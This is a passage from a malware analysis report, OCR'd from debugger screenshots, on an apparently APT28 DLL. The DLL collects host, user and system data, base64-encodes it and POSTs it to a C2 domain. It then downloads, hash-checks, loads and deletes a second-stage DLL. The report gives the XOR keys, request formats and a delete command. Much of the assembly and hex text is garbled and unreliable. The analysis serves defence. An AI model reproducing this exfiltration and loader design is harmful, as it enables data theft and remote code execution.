Poumpt  oump2 Woump3  @hoump4  Mbumps @ warhi  ixeliocals Y Stuct 'O2FEF394 02FEE3A4

Figure 30
GetUserNameA is utilized to extract the name of the user associated with the current thread:

50 push eax XB7SW_B O xB7SW.C3 0 xB7SW.C2 O
8D 85 &0 FD FF FF lea eax,dword ptr ss:[ebp-2a0) XBTSW_CL 0 XB7SW.CO 0 xB7SW_ES O
50 push eax X87SW_SF 0 x87SW_P 0 Xx87SW_U O
C7 85 54 FB FF FF 04 01 00 mov dword ptr ss:[febp-4acl, 104 AT
FF 15 08 BO D7 68 | €211 dword ptr ds:[<&GetUserNameA>] | i = -
o g , | Default (stical) = |5 2| unlock
dword ptr [GBD7BO0B <apt28.&GetUserNameA>]=<advapl3Z.GetUserNamed> |2: [espr4] D2ZFGF3AS
3: [esp+8] 0OCCOOO4 L"AT"
4: [esp+C] 7EATAFLD <kernel3Z.GetLasteError>
.text:6BD72203 apt2s.d11:$2203 #1603 5: [esp+ld] 7052454C winhttp. 7052454C
2 - i D2FEF5B80
@oump1  gHpump2 @SDump3  EDump4  Yhoumps @ watchi  Ie-lloals ' stuct IREIEEEN 0arersRn

Figure 31
The malware extracts the volume serial number of the root of the current directory via a
function call to GetVolumelnformationW:
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B I e
push o X87TW_2 3 (Empty) xB7TW_3 3 (Empty)
push o *87TW_4 3 (EmpTy) x87TW.S 3 (

push o XB7TTW_6 3 (EmpTty) Xx87TW_7 3 (Empty)
‘lea.‘eu,md ptr ss:febp-480f

eax

50 FB FF FF

x875tatusword 0000

XB7SW_B O XB7SW L3 O XB7SWCZ O
x875W_C1 0 xB7SW.CO O x87SW_ES O
XBTSW_SF 0 XB7SW P O XxB7SW.U O

|

.Text:6BD72228 apt28.d11:52228 #1628

WWoump2 @Noump3  UHoDump4

Figure 32

The process decrypts some important strings using the XOR algorithm, the keys being
“CEJ&V%$84k839y92m” and “gqpzoamxiendufbtbf3-#$*40fvnpwOPDwdkvn”. The strings
“id=%s#%s#%u&cmd=y” and “id=%s#%s#%u&current=%s&total=%s&data=" have been
computed:

.Text: 6BD722C0 apt28.d11:%522C0 #16C0

PYoump1  @oump?  WWDump3  @Woump4  Whoumps @ watchi  I-llocals 4 Struct

0Z2F6FG&E4
102F6F6C4
02FeFeD4
02ZF&6FGE4
02F&6FGF4
02F6F704
02F6F714
02F6F724
02F6F734
02F6&F7 44

Figure 33

Jumi is not taken

.Cext:6BD72441 aptz8.d11:$2441 #1841

Woump1  @oump2 @Woump3 @Moump4 @Woumps @D watch1 | ellocak | 2 Stuct

D2FGFGB4
D2FEFGC4
D2FEFGD 4
D2FGFGE4
D2FEGFGF 4
D2FG6F704
D2FBF714
D2FBF724
D2FEBF734
D2FEF7 44
D2FEF75 4
D2FEF7 64
D2FEF774
D2FGF7B4
D2FBF794
D2FEF7A4
D2FGF7B4
D2FBF7C4
D2FEF7D 4 o0 00 0000 00 OO0 00|00 00 OO0 00

Figure 34
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The output of the systeminfo command + output of the tasklist command + the list of targeted
directories and their content are base-64 encoded using the CryptBinaryToStringA API (0x1 =
CRYPT_STRING_BASEG64):

push eax
mov eax,dword ptr

push edi
push 1

push dword ptr ds:

push dword ptr ds:[esi

cain

dword ptr ds:

ss:febp-10f

eax
<&CryprBinaryTostringas]

x875tatuswWord 0000

X87SW_B D XB75W_C3 O Xx87SW.C2 0
XB7SW_C1 0 xB7SW_CO O xB7SW_ES 0O

I XBTSW_SF O XBTSW_P 1] KB Sw_| U 1]

foi e e -

5 Default (stdcall) v | unlock

OZFALESS "y\t"
CSDTAi} 00072489
00000001
esp+l] D4FSE020
esp+10] D2FEFS50

-Text:6BDT1ES7 apt2s.d11:$1E97 #1297

T B DA G ST R e T e TR RS

@owp2 Whoump3  $Woump4  oumps @ watchi  bellocals Y struct

Address im ASCIT

ozrnxsss!zs 29 :\-‘J -3-.| :)D 2-& :S fr 7 ¥.....HOST Name: :

O2FALEAS| 20 24 45 53|38 54 o 50 DEsKTOP- 2N pipgRet nternetciosetandle

O2FA1EBB|0D OA 4F 53|20 4E 61 &0 «.05 Name:

D2FALECE|20 20 20 20/20 20 20 20|20 20 20 20|20 4D 65 &3 mic amyr

O2FA1EDB|72 6F 73 6F |66 74 20 57 (69 6E 64 6F |77 3 20 31(|rosoft windows 1

O2FALEFS|20 s6 gt 73|73 S5 EFEf|3a 20 20 20|20 20 20 20| versem o ° L7erolPanel\\Namespace”

Figure 35

Address | Hex ASCIT

D4F56020|B5 51 6B 41[41 41 30 4B|53 47 39 7A|64 43 42 4F | BQkAAADKSGIZACED

D4F56030|59 57 31 6C|4F 69 41 67|49 43 41 67 (49 43 41 &7 | ¥YwllOiAgICAgQICAg

D4FS6040| 49 43 41 67(49 43 41 67|49 43 41 67|52 45 56 54| ICAQICAQICAQREVT

D4F56050 55 55 68 50 uhP

D4F56060| 00 OA 44 51|70 50 55 79|42 4F 59 57 (31 &C 4F &9/ ..DOPPUYBOYWL1Od

D4F56070| 41 67 49 43|41 67 42 43|41 67 49 43 (41 67 49 43| AgICAgQICAgQICAgIC

D4FS6080| 41 67 49 43|41 67 49 43|42 4E 61 57 (4E 79 62 33| AgICAQICENawNyb3

D4F56090| 4E 76 5A GE|51 67 56 32|6C 75 5A 47 (39 33 63 79|NvZnQgv21uZG93cy

D4F560A0| 41 78 0D 0A|4D 43 42 46|62 6E 52 6C |63 6E 42 79|Ax..MCBEFbnR1cnBy

D4FSG60BO| 61 58 4E 6C|44 51 70 50|55 79 42 57 (5A 58 4A 7A axn1DQpPuwazx12Fﬁgure 36

D4F560CO| Gl 57 39 75 |4F 63 41 67|49 43 41 67 (49 43 41 &7 | awsuOiAgICAgQICAg

D4F56000| 49 43 41 67 |49 43 41 67|49 43 41 78|4D 43 34 77| ICAQICAQICANMCdw

D4FSG0EQ|4C &A 45 32|0D 0OA 4D 6A|6B 35 49 45 (34 76 51 53|LjEZ2..MIKSIE4vOS

D4FS60F0| 42 43 64 57 |6C 73 5A 43|41 78 4E 6A |49 35 4F 51|BCdWIsSZCAXNIISOQ

D4F56100| 30 4B 54 31|4D 67 54 57|46 75 64 57 (5A 68 59 33| OKTIMQTWFUdWEhY3

D4F56110|52 31 &3 6D |56 793 4F 63|41 67 49 43 (41 &7 49 43 |R1lcmvyDiAgICAgIC

D4F56120| 41 67 49 43|41 67 0D 0A|54 57 6C 6A|63 6D 39 7A|AgICAgQ..TWljcmoz

D4F56130| 62 32 5A 30|49 45 4E 76|63 GE 42 76(63 6D 46 30| b2ZOIENVCNBVCMFO

D4F56140| gl 57 39 75|44 51 70 50|55 79 42 44|62 32 35 6D | awdsuDQpPUyEDb25m

D4F56150| 61 57 64 31|63 60 46 30 4F 69 41 67| awdlcmF0aWIuoiAg

MArr S an ERay ATy L Ll A E B A T [alal (] A E B T AmT Am T T A

The HttpOpenRequestW routine is utilized to create an HTTP POST request handle:
€8 00 02 00 84 Push 84000200 XBTTW 6 3 (EMPTY) XB7TTW.7 3 (EWPTY)
BA 0D push o
&A 0O push 0 ‘ x87Statusword 0000
6A 00 push .‘ MB7SW_B O xB7SW C3 0 xB7SW.C2 O
64 00 push KETSW.C1 O XB7SW.CO O XB7SW_ES O
gg 78 EF D7 &8 p:z: :3 """" 8 6BDTEF | XBTSW_SF 0 XB7SW_FP 0 xB7SW_U o
FF 15 DC B1 D7 68 :nﬁ gword ptr ds:[<aHTTpODerRequestw>] | vglﬂ“ R =
T 5 | Default (stdcal) » [s +10] unlock

Figure 37

Yoump1  @pump2  WDump3  Woump4  WWDumps @ watchi  ellocals & Struct
Address ‘m | asc1z

O2F6FBA4 ) 00 00 00|00 00 OC {00 00 00 DO|00 00 C

02FGFBB4 |00 00 00 00|00 00 OC 00 00 00|00 00

02F6FBC4| 00 00 OO0 00|00 0O C 00 f}f) 00 00 C

UZFEFBD4 f)u "f\ JJ U DC‘ f\f\ 00 fJJ JI Lrl.‘ [+ -'J'J

1 [esp] 00CCODOS
lI2: [esmq GED7EFB4 L"POST"
i 00000

The malware adds one HTTP request header (“application/x-www-form-urlencoded”) to the
HTTP request handle:

Figure 38

68 00 00 00 AD push A0000000 | XB7SW_B O X87SW_C3 0 x87SW.C2 O
B4 D3 push 3 i ®X875W_C1 0 xB7SW._CO O xB7SW_ES 0O
56 push esi esi:ilL | XB7SW_SF O xB7YSW_P O xB7SW_U O
|l::'.5l‘rl‘ g::r: bte gs EAB H:)Ad.ch ad 3 f ]
rd ptr dsif<antr equestHeadersw> v = —
5 | Defauit (stdcall) » |5 (3| unock
i !ﬂnl 0OCCO00C
ptr [6BO7BIDS <aptis. equest S MET. HTT esT SW> esp+4] 04D4F3BB L"Content-Type: application/
-e:.p*—ai 00000003
ADOD0000
. text:6BD71F28 apt28.d11:$1F28 #1328 :imu] 00000039
Woump:  PEhoump2  @Moump3  @oumpd  Woumps @ watchi  Ixellocals g Struct 02FEF7F4 | 04D4F388 L"Content-Type: application/x-www-form-urlenc
g A A | p2rsE7E8 | 00000003
04D4F388 |43 00 GF 00|GE 00 74 .0.n.T.€.0
04D4F398 |54 DO 79 00|70 00 65 |T.y.p.e.i.
04D4F3AB| 70 00 &€ 00|63 00 63 Y REmE :
04D4F3B8| &€ 0O 2F 00|78 00 20 [ne/ix. - ww. kernelsz Gettaskirron
04D4F3CB| 66 DO 6F 00|72 00 & D 00| cO.F .M. =, .
04D4F308| 65 DO 6E 00|63 00 6F 00|64 00 65 00|64 00 00 00|e.n.c.o.d.e. -t R PSR s S B WD PR
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The request is sent to the HTTP server using the HitpSendRequestExW API, as displayed in
figure 39:

pusn o

push o xB7S5tatusword 0000

push 0 XB7SW_B 0 xB7SW C3 0 xB7SW C2 O
lea eax,dword ptr ss:[ebp-34J XB7SW_C1 O X87SW.CO O X87SW_ES O
push eax XB7SW_S5F 0 XB7SW_P 0 xE7SW_U o

push dword ptr ds E
@"L dnﬂl vtr dss anttpsaﬂ.wuestsm]

=[5 1] unlock

|
I
net. At ESTENW> |
|3 esrh-s 00000000
4 00000000
.text:6BD71F3E apt28.d11:$1F3E #133E ]s: [tspv.w] 00000000
Woump 1l  @%oump2  @EYoump3  @Eoumps  Phoumps B watchi1  Deliocals 4 Struct 02FEF7EQ | D2FEFS18
Adaress lbex [Ascrz I I* W;::mouoon
04D4F358 43I 00 6F 00|6E 00 74 00[65 00 6E 00[74 00 20 00|E.0.M.T.&.N.T.-. mfmk: 00000000

Figure 39
In the case of failing to connect to the C2 server on port 443, the process tries to connect on

port 80:

push 1 s o e 4
push 0 NBTTW_6 3 (Empty) XBTTW_7 3 (Empty)
push 3
push o x87Statusword D000
push 0 NBTSW_B O XBTSW . C3 0 x87TSW.C2 O
push 50 ] X87SW_C1 O X87SW.CO 0 XB7SW_ES 0O

' DUS: dword ptr ss:febp-134F | [ebp-1 X87SW_SF O X87SW.P 0 XB7TSWU 0

i G pus lesizi™ | o

BEE——» can m ptr dsi[<sInternetConnectws] T ]
| = 7 * [s #10] unlod
er onnect> esp+a] ewrs:oc L updaterweu com”

¥ Dump 1 BYDump2 YN0ump3 GWDump4  EEDump S

855 | Hex
04D4F388 |08 74 D& 04 ES B3 Ds 0465 00 GE 00|74 00 20 004

04D4F398|54 00 79 00|70 00 65 O0|3A 00 20 00|61 00 70 00
04D4F3AB| 70 00 6 0069 00 €3 00|61 00 74 00|69 00 &F 0O
04D4F3B8|6E 00 2F 00|78 00 20 00|77 00 77 00|77 00 20 00

Figure 40 .
The information extracted before is exfiltrated to the C2 server (id=<hostname>#Username#

<Serial number in decimal>&current=1&total=1&data=<base-64 encoded data computed

:; ;; 08 ush dmr: ptr :B Tes3
DO Bl D7 GB 1 dword ptr <aInternetWriteriles w T
= g , | Defaut (stdcal) ~|[s (2] unlok

50 push eax XB7SW_B O xB7S5W_C3 0 xB75W.C2 O

FF 75 OC push dword ptr ss: XBTSW_C1 O xB7SW.CO O xB7SW_ES O

FF 75 C4 push dword ptr = MBTSW_SF O NXBTSW_P 0 XB7SW.U o
e

ebp+Cl
fcbu JLI

ptr [6BD7EIDO <apt2s.&Internetwriteriles]=< net.Internetwriteriles

1: [esp]l 00CCOOOC
: [esp+4] 05006020
FeSﬂ’rS 00090277
: [espsc] o2FeFs40
1 [esprl0] 71768040 <wininet.InternetClosedand]

.text:6BDTIFSS apt2B.d11:§1F55 #1355

Woumpt  @pump2 Eoump3  @houmps  EDumps @ warh1  [reliocals 4 Struct

Address !Ilu( |
05006020 69 64 3D 48 54 43 d:
32 rﬁ

4F 50 2D 32
pEonenzo I 23 33 32|37 33 31 31 mmnet InternetCloseHandle
05006040 | |72 72 65 GE (74 3D 31 26|74 6F T4 61 EMurrtnt.MEDEﬂ k!rn!]ZZ GetLastError

30 65 51 6B(41 41 41 30| I=ladata=eQkAsAD
4F 59 57 31

67 49 43 41

|ddaB 83 73
05006050 | 6C 30 31 26|64 61 74 61
05006060 48 53 47 39(7A 64 43 42
05006070 67 49 43 41[67 49 43 41

Figure 41
The thread sets the event created earlier to the signaled state:

6C 4F 69 41| KSGIzdCBOYWLIOiA
67 49 43 41|QICAQICAQICAQICA

R L e L P

push dword ptr ds:[68081828]
call dword ptr r.ls <4setEvents] 1 v

+[5 12]0 unioas

>
i
G6BD71780 apt28.6BD71780
6BD71780 apt2s.68DT1780
3 +C ] 00000000
.text:6BD71934 apt28.d11:51934 w034 . ::g,m] 00000000
[y T S — R B ST PRI - IEEETER 00000276 |

Flgure 42
Thread activity — sub_6BD71960 function

This thread sets the event created earlier now to the nonsignaled state using the ResetEvent
routine:
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| push dword ptr os:|GBDB1B28]
|€all dword ptr ds:[<sResetEvents] v

H 00000278
dword ptr [GBD7BOS0 <ApT28.4RESeTEVent>]=<kernelsZ.ResetEvents> : 6BD71960 apr2.6BD71960
3: 6BD71960 apt2é.6BDT1960
4: 00000000

.Text:6BD71991 apr25.d11:351991 #D91

.. o ST L [ F e Gl e [ AR R 00000278 |

Flgure 43

There is a similar workflow starting with calling the InternetOpenW function up until
connecting to the C2 server on port 443 (or port 80 if the first one is unsuccessful). The
POST request is different this time because it contains the “cmd=y” command that is used to
download a DLL file:

50 push eax XB7SW_B O xB7SW_C3 0 xB7sw. C2 0O

FF 75 oC push dword ptr :5:iebu-c1 X87SW_C1 0 XB7SW.CO 0O xB7SW_ES O
FF 75 Cl push dword ptr ss:febp-3CJ [e X87SW_SF 0 XxB7SW_P 0O X87SW_ U O
FF 77 ush dword ptr ds:[edi+s] En
EF 15 m_n_n;_ﬂ ‘l Mﬂi ptr det <aInternetwriteriles] [ — =
5 | Defauit (stdcal) v 5 &[] uniock
- - — - I'1: Tes i 00CCOD0C .
dword ptr [6BD7BID0 <apt28.&INTErnetwriterile>]=<wininet.InTernetwriterile> i2: e5:+-l] 0488FE5C " d=DESKTOP- 2C N 7
EH EESD-#S 00000027
4: [esp+C] D4B88FGDSE
.Text:6BD71F55 apt28.d11:51F55 #1355 2

—
#hoump1  PDure2  GHDump3  EMoumo4  BHoumps @ watchi  bellocas ) stuct Hmsnc ws::ﬁrw-n:m 2C N 7273112606 38Cnd=y"
== S ~ | B455rics Osssrens
Figure 44
The malware queries the server to determine the amount of data available using the

InternetQueryDataAvailable routine:

6A 00 push o = i RB/IW_S 3 LEMPLY ) RS/ IM_S 3 LEWMRPLY )

. . .
. 89 45 FO mov dword ptr ss:[febp-10], eax XB7TW_6 3 (Empty) x87TW_7 3 (Empty)
. 6A 00 ?usn L
. 8D 45 F4 ea eax,dword ptr ss:febp-cj x87Statusword 0000
- 88 D9 mov ebx,ecx eb MB7SW_B O xB7SW C3 O xB7SW 2 O
L] 50 push éax MB7SW_C1 0 x87SW.CO O XxB7TSW_ES 0O
- FF 73 08 push dword ptr ds [ea\ ] XB7SW_SF 0 XB7SW_P 0 x875W_U o
. €7 45 F4 00 00 00 0O mov dworddpl: :a; tb Tables
E——>e FF 15 C4 Bl D7 &8 call dword prr ds: «umernetquerwara.wau able> IE'
i L< - 2 1: I ‘ 00CCO00C K U
dword ptr [GBD7BIC4 -(aptzs.&Internetqueryﬂatuvai'tab'te:]-qwin'inet,Internetqueryﬂatnvai'lab‘le» |2; esg.,.‘ 0488F60C
132 Eesmsi 00000000
es, 00000000
.Text:6BD71FFF apt28.d11:$1FFF #13FF Caa

@oump1  Yhoump2 $Woump3  WHoump4  WHDumps @ watch1  Iellocals ) Stct @W
Figure 45
The potential DLL file is read from the handle using the InternetReadFile API (the first 4
bytes would represent the data size and there will also be 32 bytes that represent the

SHA256 hash value of the content, as we’ll describe in the upcoming paragraphs):

push &

mov ec dwura ptr ds:[edi] xB7Statusword 0000

push esi XB7SW_B 0 xB7SW_C3 0 xB7SW_C2 0O
add ecx,eax NETSW_C1 O XB7SW.CO O XB7TSW_ES 0O
ush ecx XB7SW_SF O XB7SW_P O XB7SW U 0O
push dword ptr ds o & ..oz

| €all dword ptr ds (l.'lﬂternetlleadiﬂ!;] o [ —————

| Default (stdcal]) > |5 5[] unlock
et e e ————————— l: es5p] 00CCOnOC
daword ptr [GBD7B81CS <apt28.&InternetReadFile-]J=<wininet.Internetheadriies § es?n-d} 04D EEFDD
3 esp+8] 00000384
: [esp+C] D48BF540
: [esp+10] 00CC0O00C

text SBD?ZOG? apt28.d11: $2067 #1467

WWoump1  @oump2  WHoump3  PMoumpd4  Woumps @ watchi  Ieellocaks 9 Struct

Address | Hex |asciz | B
04066FDO PO 00 OO0 00|00 00 00 00|00 00 00 00|00 00 00 00 B, corsesesss ...| |

Figure 46
The expected DLL is base64-encoded because the process tries to decode it using the
CryptStringToBinaryA function (Ox1 = CRYPT_STRING_BASEG64):
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push 0

BTt T e e 4
X87TW_4 3 (Empty) x87TW_S 3 (Empty)

push 0
Tea ecx,dword ptr ss:febp-115] X87TW_6 3 (Empty) X87TW_7 3 (Empty)
push ecx

push 0 xB7STatusword 0000

XBTSW_B 0 xB7SW.C3 0 xB7SwW.CZ O
XB7SW_C1 0 x87SW_CO 0O xB7SW_ES O
XBFSW_SF O xB87SW_P O xB7SW_U O

* |[5_2]0] unlock

sh 1
gu“ eax,dword ptr ds: [edi+4]
push esi

-Text:6BD72853 apt28.d11:52853 #1C53

@ouwmp? @Woump3 WDump4  EDumps

3E 0D 0A 1t1¢>..¢f|’leﬂ!b
st

Figure 47

X87TW_0 3 (Empty) x87TW._1 3 (Empty)
XBFTW_2 3 (Empty) XB7TW_3 3 (EmpTy)
X87TW_4 3 (Empty) x87TW.S 3 (Empty)
XB7TW_6 3 (EmpTty) xB7TW_7 3 (EmpTy)

ush 0
ea eax,dword ptr ss:ffebp-115)
push eax

mov eax,dword ptr ss:febp-114]
push esi

push 1

push dword ptr ss:febp-134)
add eax,4

ush eax

00
85 E8 FE FF FF
85 EC FE FF FF

x@75tatusword 0000

XBFSW_E O xB7SW C3 O xB7SWCZ O
XB7SW.C1 0 xB7SW.LO O X87SW_ES O
XBTSW_SF O XB7SW_P 0O XB7SW_U O

6A 01

FF B5 CC FE FF FF
B3 CO D4

50

ebx=<crypt :z.crypts:rmg‘rnnury (7 J

-Text:6BDT285C apt28.d11:$285C #1CEC
8 Dump 2

CryptAcquireContextA is utilized to acquire a handle to the Microsoft RSA and AES
Cryptographic Provider (0x18 = PROV_RSA_AES):

. - - - AW I LEILY S AP IW_F 3 LEIRRY S
;::hﬁ :gooooon X87TW_4 3 (Empty) x87TW.S 3 (Empty)
push o XBTTW_6 3 (EmpTy) xB7TW_7 3 (Empry)

mov esi,eax

?usn o xB7Statusword 0000

ea eax,dword ptr ss:flesp+34) X87SW_B O XBTSW.C3 O xB7SW.C2 O
push eax xB7SW_C1l 0 xB7SW_CO O xB7SW_ES O
mov dword prr ss:fespe3cy,o 0 XxB7SW_P O XB87SW_U O
mov_dword ptr ss: z N —r

LA AR AL L]

.text:GEDT1AB7 apt2s.d11:§1A87 WEBT
@oump1  @pump2 @Dump3

1§25 Dump 4

Figure 49
The CryptCreateHash routine is used to create a handle to a CSP (cryptographic service
provider) hash object (0x800c = CALG_SHA_256):

X/ STATUSWOrd UUOY

XBTSW_B O XB7SWC3 0 x87SWLC2 O

NB7SW C1 0O XB7SW CD 0O XB7SW ES 0O
SW.P O XxBTSW_U o

~ [s_21[] unod

'PTr [68D7B014 <apti8.&CryprireareHashs

.Text:6BD71AAD apt28.d11:$1AAD #EAD
@Woump1  PYoump2  §0ump3

& watch 1

¥4 Dump 4

D2F997AB.

OODDDDDGDODDDUQODDDDDUOODDDU ...............

00

Figure 50
After the base64-encoded DLL file is decoded, then the malware hashes the buffer that is
supposed to contain a DLL file using the SHA256 algorithm:

| x67SW_B ©O x87SW_C3 0O xB7SW L2 O
X87SW_C1 0 xB7SW.CO 0O xB7SW_ES O
0 x875W_.U O

push
push d-ord ptr ss:fesp+18f
rd

6A 00
FF 74 24 18
57

FF 74 24 34

.TexT:6BD71ACS apt28.d11:$1AC4 WECH esp+10] 68071960 aprs.EEDT1960
@oump2 @loump3  EDump4 =

Figure 51
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The hash value is extracted by calling the CryptGetHashParam API, as shown in figure 52
(0x2 = HP_HASHVAL):

. 6A 00 push o AQIIM_G 3 LEWPLY ) A IW_d 3 LEMPLY )

. 8D 44 24 30 lea eax,dword ptr ss:[fesp+30) "

- S0 push eax xB7Statusword 0000

] 56 push esi X87SW_B © x875W._C3 0 x875W L2 O

. 6A 02 push 2 XB7SW_C1 0 XB7SW_CO O xB7SW_ES 0

. FF 74 24 38 push dword ptr ss 354 X87SW_SF O X87SW_P O x87SW U 0

L] €7 44 24 40 D4 01 00 0O mov dword ptr ss: ol e s e -
I FF 15 10 80 D7 68 |m|‘| md pEr ds: ;c&crypmemashpym:-i ] _:_:_|D

. = D:I'an.lt{stdcal) *||5 i& Unlock

H D4CA3TEE <ACPCreateHash>
dword ptr [G6BD7TBO10 <aptis.ACryptGetHashParams]=<advapi SZ.CTYB:BI.‘EHQSP\F“W 5 (esgl.lj 00000002
: [esp+B] 02F997AB

1
2
ok
4: [es 0455FeD4
.Text:6BDT1AEG apt28.d11:51AE6 #EEE 5 P
8
2

: [esps I.D] 00000000

@Soumpi  $hDumpz  @HDump3  @Dimps  WMoumps @ warh1  [reliocak P stue L
03Fo7AR I 00 00 02]00 0000 00100 00 00 00[00 09 00 0OI oo ro- ! 1~ | ossiean| asarend
Figure 52
Address | Hex ASCII

N2F997AE8|E2 BO C4 42 (98 FC J1C 14(9A FE F4 C8|29 &F B9 24| a“AB.0...UOE.0"§ l-igure 53
02F997B8| 27 AE 41 E4(64 9B 93 4C|A4 95 99 JE|F8 52 B8 55| '?Add..LH...xR U

The malicious process verifies if the hash value computed above coincides with a 32-byte
buffer that comes with the DLL file (of course that the response is emulated in our case, but
we can adjust it to pass the comparison):

BB 08 mov ecx,dword ptr ds:[eax]
3B OE cmp ecx,dword ptr ds:[esi]
! Ir————- 6BD71R14 = F5 10 jne apt23 G6BD71B26
i e B

ecx=41415A4D
dword ptr [esi]=[02F997A8]=42C4B0E3

.text:6EDT1B12 apt258.d11:%$1B12 #F12

4 Dump 1 44 Dump 2 4% Dump 3 4yl Dump 4 4% Dump 5 8 watch 1 [x=] Locals 4 Struct

Address | Hex ASCIT

OS4FE020 4D B8 47 43(41 41 41 41(41 41 47 431(41 41 41 4] | MEARAASAAAAASANN

Figure 54
! ®|| GED7IB10D BB 08 mov ecx,dword ptr ds:|eax]
l 3B OE cmp ecx,dword ptr ds:[esi]
! r----#|| GED7I1B14 » F5 10 jne aptZE G6BDT71B26

L . s P s
(B0
o

eCcx=41414141

dword ptr [esi]=[02F997AC]=141CFC98

.text: 6BD71B12 apt28.dl11:%1B12 #F12

@Woump1  PWoump2 @WDump3  WWDump4  WWpumps @ watch1  kellocals ' Struct

Address | Hex ASCII
OS4FE020|E2 B0 C4 4247 41 47 43(41 41 47 47(47 41 4] 41| 3°ABAAAAAASAAAAL
Figure 55
GetTempPathW is utilized to retrieve the path of the % TEMP% directory:
22 04 02 00 0o |Buzn 552 [Eeatars ey 0 s
FF 15 A BO D7 &8 ||:n11 mma (Ptr ds:[<aGetTemprathn:] | . " Nmm N - EDUM

i
dword ptr [6BD7BOAB <apl28.&GerTempPathw>]=<kernel32.GetTempPathw> [esp+4] 04BBFEDE

23

| 31 Fesn-fa‘ 6BD71960 aptrl8.EBDT1960
4: [espsC] 6ED71960 apt28.EBD71360
5: [esp+10] 00000000

8

.text:6BD71B6D apt28.d11:$1B6D #FED

Woump1  @oump2  $Hoump3  PWoump4  ENoumps @ warchi  ellocals ' Struct M|
Figure 56

The malicious process creates a file called fvjoik.dll in the % TEMP% directory, as shown
below:
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6A 00 push 0 Ao/ IW_4 3 LEMPLY) RS/ IM_> 3 LEMPLY)

68 B8O 00 00 00 push &0 X87TW_6 3 (EmpTy) x87TW_7 3 (Empty)
6A 04 push 4
64 00 push 0 xB875tatusword 0000
6A 02 push 2 XB7SW_B O XB7SW.C3 0 XB7SW CZ O
68 00 00 00 40 push 40000000 XB7SW._C1 0 xB7SW_CO O xB87SW_ES 0O
BD 44 24 48 Tea eax,dword ptr ss:fesprss] xB7SW_SF O XB7SW_F O XxB7SW_U 0
50 Ush eax BENILY e
FF 15 40 BO D7 68 | dword ptr ds:[<&CreateFilew>] il v = 1-[]
= R el o=
Ptr [6B07B040 <aptas.acr oW 32.Cr e 2: [esped] 40000000
3 Eesms 00000002
4; [es) 00000000
-text:6BD71BB3 apt28.d11:$1BB3 #FB3 EH [esmﬂ] 00000004
=

%

$oumpt  pump2  @oDump3  @Dumos  WMDumps @ watch1  Iceliocals 4 Stuct

Address | Hex I ] ~
04D66F 68 |43 43 43 43143 43 43 43(43 43 43 43 CCCCOCCCOOCCC

04D6EFTE | | [dadddddaddddd dda gy

04DEEFES| D0 00 00 00|00 00 00 00|18 EB AC 40 (00 3A 00 BO|.........E-M.i..

nanczeanlnn an an anlan an an anlie e ae anlan 28 an or hau .

Figure 57
The newly created file is populated with the potential DLL downloaded from the C2 server:

6A 00 push o ABSIW_B 3 |LEMPLY ) RS AN_S 3 LEMPLY )
8D 44 24 28 lea eax,dword ptr s5:fesp+22)
50 push eax xB7Statusword 0000
FF 74 24 1C push dword ptr ss:Qesp+icl XB7SW_B O XBTSW.C3 0 xB7SW_C2 O
C7 44 24 30 00 00 OD 00 |mov dword ptr ss:ffesp+3of,0 XB7SW_C1 0 XxB7SW_CO 0 xB7SW_ES O
57 push edi edi:"m SF O xB7SW_P O xB7SW_U 0O
56 ush esi ) PSSy S = = ——
FF 15 358007 58 | €811 Gword prr s [<anr 1teriles] =
i [FERESSEEE - S = = WD
ORI | — = . 1 [esp -
s . = &7 . el 1.2: esp+4] 04DEEFES "MZCCCCCCCCCCCOCCCCCCococcce
' 3: [esp+8] 00000000
{4: [esp+C] 0488F6CC
-Text:GBD71BFS apt28.dll:$1BF5 #FF5 is: es:+.\0] 00000000
1] 00000494
Woump1 EDump2 WHDump3  EDump4  WDumps @ wathi  Ir-llocaks P stuct 4D66FE8 | "MZCOCCCCCCCECCOEaeaaceeceeeeccee™
s |asctr I ~ |585EeR5 Biserece
04DGEFEE 14333 33 4343 23 43 43(43 43 43 43 | MECCCCOCCOCCCCCC! | GAd | D0D00000
ManecETo a3 a3 43 43143 &3 A4S AW A3 A3 42 |a3 A3 A3 A3l rererererrerreee 0488F

Figure 58

The DLL file is loaded into the address space of the current process using the LoadLibraryW
routine:

Vi i = = |eax: " E_ = =z
|21l dword ptr ds:[<aLoadlibraryws] J | o |—

5 h\users
2 i 6B07 1960 aptT2s.E&BD71960
3: [esp+B] 6BDT1960 apt28.6BDT1360
4: Eesnvc] 00000000
5

-TEXT:6BD71C26 aptr28.d11:51C26 #1026 : [esp+10] D4DACT2E “MZAAMZ.

| O e (e () e [ e (e [ 043364 IEEEERISE at AT
Figure 59

The malware will execute the exported function with ordinal 1, as highlighted in the next
figure:

push 1 le?SN_SF 0O XB7SW_P O x87SW_U O
e mm e eamm——

i ush esi £ 3 i -
&u dword prr dsi[<aGetProcaddress> v S
s TN T BT TSR i ) = (stcal) = :'D
rnel32. GetProcaddress> | 2: [esp+s] 00000DOL
3: [esp+8] 68071960 apt28.6BDT1960
4: [esp+C] 6BD71960 apt28.6BDT1960
.Text:6BD71C31 apt28.d11:$1C31 #1031 5: [esp+1D] 00000000

Wowp! @Somp? W0mp3 @Soums  Womps @wachi etk Psnet [RETECNOOM0]
Figure 60
After the function finishes, there is a call to WinExec that deletes the DLL file created earlier:

. €A 00 push o xB7TW_6 3 (Empty) xB7TW_7 3 (Empty)
- BD BS FB FE FF FF lea eax,dword ptr ss:febp-108]
- 50 th eax eax: "cm xB7Statusword 0000
" FF 15 BC BO D7 &8 %l dword ptr ds:[6BDTEOSC WinEXec | xB7SW_B 0 XxB7SW._C3 0 x87SW.C2 O
. 8B 4D FC mov ecx,dword ptr sstfebp-4) XB7SW_C1 0 xB7SW_CO O xB7SW_ES O
33 CD xor ecx,ebp XB7TSW_SF 0 XB7SW_P 0 XB7SW.U O
- SE esi e5i: st |ommana o ammen m e oammen ——
. ES FF 1D 00 00 Ealn “aptzs. se072e80 v [i— —
. s oo == e , | Defauit (stdcaly = |[5 {27 unlock
L— - T S [2e ; 3 33 s\
dword ptr [apt28.68D7B08 . BAC35310 2: {espﬂi 00000000
3; [esp+8] 00OO0OO0D
4: [esp+C] S555C3A43
e

.Text:680710A0 apt28.d11:510A0 #4A0
WWoump1  @loup2  MDump3  @MDump4  WHoumps @ watchi  Iellocals 4 Stuct <

mqug =u I
0488F598 (B3 C0 €4 20| H 22 43 3A 5Cemd /c DEL "Ci)\

0488FSAB 55 73 65 72|Z Z users |l AppDat | 4D45525C
0488F5BB| 61 5C 4C 6F |63 61 &C 5C| Z0|5C 66 76 6A| a\Local\Temp\fv]) 1| 7070415C | "BE1POlicy"™
